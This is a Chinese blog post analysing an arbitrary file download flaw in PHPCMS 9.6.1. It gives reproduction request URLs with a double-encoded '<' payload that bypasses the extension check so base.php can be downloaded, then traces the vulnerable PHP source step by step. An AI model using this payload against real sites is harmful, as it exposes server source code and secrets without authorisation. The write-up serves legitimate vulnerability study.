phpcms 9.6.1任意檔案下載漏洞分析
阿新 • • 發佈：2021-07-07
環境：
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影響版本：
PHPCMS 9.6.1
復現
1、訪問index.php?m=wap&c=index&siteid=1得到加密後的cookie值
2、訪問/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp，post請求資料userid_flash，得到返回的json加密cookie值
3、訪問/index.php?m=content&c=down&a=init&a_k=e41e77MD49WyuTZBvaAfcVQqkpx2Cg9YZPvAhkQYUWr-ngvrASco1B-16MgdqeVrfNXR45Gv8r_5784KVVGvVmMKxxJHba-PfKCbUAWCLEpwO43AFbkL8bfn53hP40TWS488ENEPQOeim3zFlSW1XezD0vlcqTWZjoEfFRJG，a_k值為第二部得到的cookie值，成功下載base.php檔案
分析：
1、wap模組index.php程式碼分析
1 function__construct() { 2 $this->db = pc_base::load_model('content_model'); 3 $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1); 4 param::set_cookie('siteid',$this->siteid); 5 $this->wap_site = getcache('wap_site','wap'); 6 $this->types = getcache('wap_type','wap'); 7 $this->wap = $this->wap_site[$this->siteid]; 8 define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid); 9 if($this->wap['status']!=1) exit(L('wap_close_status')); 10 }
第3、4行將獲取到的siteid進行加密並且通過set_cookie方法設定cookie返回cookie
2、attachment模組attachments.php程式碼分析
1 public function swfupload_json() { 2 $arr['aid'] = intval($_GET['aid']); 3 $arr['src'] = safe_replace(trim($_GET['src'])); 4 $arr['filename'] = urlencode(safe_replace($_GET['filename'])); 5 $json_str = json_encode($arr); 6 $att_arr_exist = param::get_cookie('att_json'); 7 $att_arr_exist_tmp = explode('||', $att_arr_exist); 8 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) { 9 return true; 10 } else { 11 $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str; 12 param::set_cookie('att_json',$json_str); 13 return true; 14 } 15 }
通過attachment模組中的attachments.php中的函式swfupload_json()，將獲取的aid、src、filename變數賦值然後通過json_encode函式進行json編碼，在第12行通過set_cookie對這裡我們傳入的變數的json編碼進行加密。
4、content模組down.php程式碼分析
1 public function init() { 2 $a_k = trim($_GET['a_k']); 3 if(!isset($a_k)) showmessage(L('illegal_parameters')); 4 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key')); 5 if(empty($a_k)) showmessage(L('illegal_parameters')); 6 unset($i,$m,$f); 7 $a_k = safe_replace($a_k); 8 parse_str($a_k); 9 if(isset($i)) $i = $id = intval($i); 10 if(!isset($m)) showmessage(L('illegal_parameters')); 11 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters')); 12 if(empty($f)) showmessage(L('url_invalid')); 13 $allow_visitor = 1; 14 $id = intval($id); 15 $modelid = intval($modelid); 16 $catid = intval($catid); 17 $MODEL = getcache('model','commons'); 18 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename']; 19 $this->db->table_name = $tablename.'_data'; 20 $rs = $this->db->get_one(array('id'=>$id)); 21 $siteids = getcache('category_content','commons'); 22 $siteid = $siteids[$catid]; 23 $CATEGORYS = getcache('category_content_'.$siteid,'commons'); 24 25 $this->category = $CATEGORYS[$catid]; 26 $this->category_setting = string2array($this->category['setting']); 27 28 //檢查文章會員組許可權 29 $groupids_view = ''; 30 if ($rs['groupids_view']) $groupids_view = explode(',', $rs['groupids_view']); 31 if($groupids_view && is_array($groupids_view)) { 32 $_groupid = param::get_cookie('_groupid'); 33 $_groupid = intval($_groupid); 34 if(!$_groupid) { 35 $forward = urlencode(get_url()); 36 showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward); 37 } 38 if(!in_array($_groupid,$groupids_view)) showmessage(L('no_priv')); 39 } else { 40 //根據欄目訪問許可權判斷許可權 41 $_priv_data = $this->_category_priv($catid); 42 if($_priv_data=='-1') { 43 $forward = urlencode(get_url()); 44 showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward); 45 } elseif($_priv_data=='-2') { 46 showmessage(L('no_priv')); 47 } 48 } 49 //閱讀收費 型別 50 $paytype = $rs['paytype']; 51 $readpoint = $rs['readpoint']; 52 if($readpoint || $this->category_setting['defaultchargepoint']) { 53 if(!$readpoint) { 54 $readpoint = $this->category_setting['defaultchargepoint']; 55 $paytype = $this->category_setting['paytype']; 56 } 57 //檢查是否支付過 58 $allow_visitor = self::_check_payment($catid.'_'.$id,$paytype,$catid); 59 if(!$allow_visitor) { 60 $http_referer = urlencode(get_url()); 61 $allow_visitor = sys_auth($catid.'_'.$id.'|'.$readpoint.'|'.$paytype).'&http_referer='.$http_referer; 62 } else { 63 $allow_visitor = 1; 64 } 65 } 66 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); 67 if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) { 68 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); 69 $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key)); 70 $downurl = '?m=content&c=down&a=download&a_k='.$a_k; 71 } else { 72 $downurl = $f; 73 } 74 include template('content','download'); 75 }
經過parse_str之後變數s和f的值為：
這裡的%3c成功繞過了第66行中的對%f也就是字尾的匹配
然後在第69行重新對資料進行了一個加密
在74行對download.php進行一個包含
1 <?php defined('IN_PHPCMS') or exit('No permission resources.'); ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 2 <html xmlns="http://www.w3.org/1999/xhtml"> 3 <head> 4 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 5 <meta http-equiv="X-UA-Compatible" content="IE=7" /> 6 <title><?php echo $catname;?>- 下載頻道_詳情頁</title> 7 <!--[if IE 5]> 8 <style type="text/css"> 9 body,html{text-align:center} 10 *{ text-align:left} 11 .header .search .text{height:26px;} 12 </style> 13 <![endif]--> 14 <link href="<?php echo CSS_PATH;?>reset.css" rel="stylesheet" type="text/css" /> 15 <link href="<?php echo CSS_PATH;?>default_blue.css" rel="stylesheet" type="text/css" /> 16 <link href="<?php echo CSS_PATH;?>download.css" rel="stylesheet" type="text/css" /> 17 <script language="javascript" type="text/javascript" src="<?php echo JS_PATH;?>jquery.min.js"></script> 18 </head> 19 <body> 20 <style type="text/css"> 21 body, html{ background:#FFF!important;} 22 </style> 23 <?php if($allow_visitor=='1') { ?> 24 <a href="<?php echo $downurl;?>" class="xzs_btn"></a> 25 <?php } else { ?> 26 <CENTER><a href="<?php echo APP_PATH;?>index.php?m=content&c=readpoint&allow_visitor=<?php echo $allow_visitor;?>"><font color="red">閱讀此資訊需要您支付 <B><I><?php echo $readpoint;?> <?php if($paytype) { ?>元<?php } else { ?>點<?php } ?></I></B>，點選這裡支付</font></a></CENTER> 27 <?php } ?> 28 </body> 29 </html>
其中第24行就對downurl進行了一個輸出，涉及到了download函式
5、down.php中download函式程式碼分析
1 public function download() { 2 $a_k = trim($_GET['a_k']); 3 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down'); 4 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key); 5 if(empty($a_k)) showmessage(L('illegal_parameters')); 6 unset($i,$m,$f,$t,$ip); 7 $a_k = safe_replace($a_k); 8 parse_str($a_k); 9 if(isset($i)) $downid = intval($i); 10 if(!isset($m)) showmessage(L('illegal_parameters')); 11 if(!isset($modelid)) showmessage(L('illegal_parameters')); 12 if(empty($f)) showmessage(L('url_invalid')); 13 if(!$i || $m<0) showmessage(L('illegal_parameters')); 14 if(!isset($t)) showmessage(L('illegal_parameters')); 15 if(!isset($ip)) showmessage(L('illegal_parameters')); 16 $starttime = intval($t); 17 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); 18 $fileurl = trim($f); 19 if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters')); 20 $endtime = SYS_TIME - $starttime; 21 if($endtime > 3600) showmessage(L('url_invalid')); 22 if($m) $fileurl = trim($s).trim($fileurl); 23 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error')); 24 //遠端檔案 25 if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 26 header("Location: $fileurl"); 27 } else { 28 if($d == 0) { 29 header("Location: ".$fileurl); 30 } else { 31 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl); 32 $filename = basename($fileurl); 33 //處理中文檔案 34 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) { 35 $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl)); 36 $filename = urldecode(basename($filename)); 37 } 38 $ext = fileext($filename); 39 $filename = date('Ymd_his').random(3).'.'.$ext; 40 $fileurl = str_replace(array('<','>'), '',$fileurl); 41 file_down($fileurl, $filename); 42 } 43 } 44 }
重點在40行，我們利用%3C也就是尖括號繞過了前面的字尾匹配，而在第40行將尖括號替換為空，這樣我們變數fileurl中的字尾就變成了.php
6、跟進file_down函式
1 function file_down($filepath, $filename = '') { 2 if(!$filename) $filename = basename($filepath); 3 if(is_ie()) $filename = rawurlencode($filename); 4 $filetype = fileext($filename); 5 $filesize = sprintf("%u", filesize($filepath)); 6 if(ob_get_length() !== false) @ob_end_clean(); 7 header('Pragma: public'); 8 header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT'); 9 header('Cache-Control: no-store, no-cache, must-revalidate'); 10 header('Cache-Control: pre-check=0, post-check=0, max-age=0'); 11 header('Content-Transfer-Encoding: binary'); 12 header('Content-Encoding: none'); 13 header('Content-type: '.$filetype); 14 header('Content-Disposition: attachment; filename="'.$filename.'"'); 15 header('Content-length: '.$filesize); 16 readfile($filepath); 17 exit; 18 }
這裡也就第5行也就成功的讀取到了base.php的檔案大小，以及第16行中的readfile函式傳入的路徑也就可以讀取base.php檔案了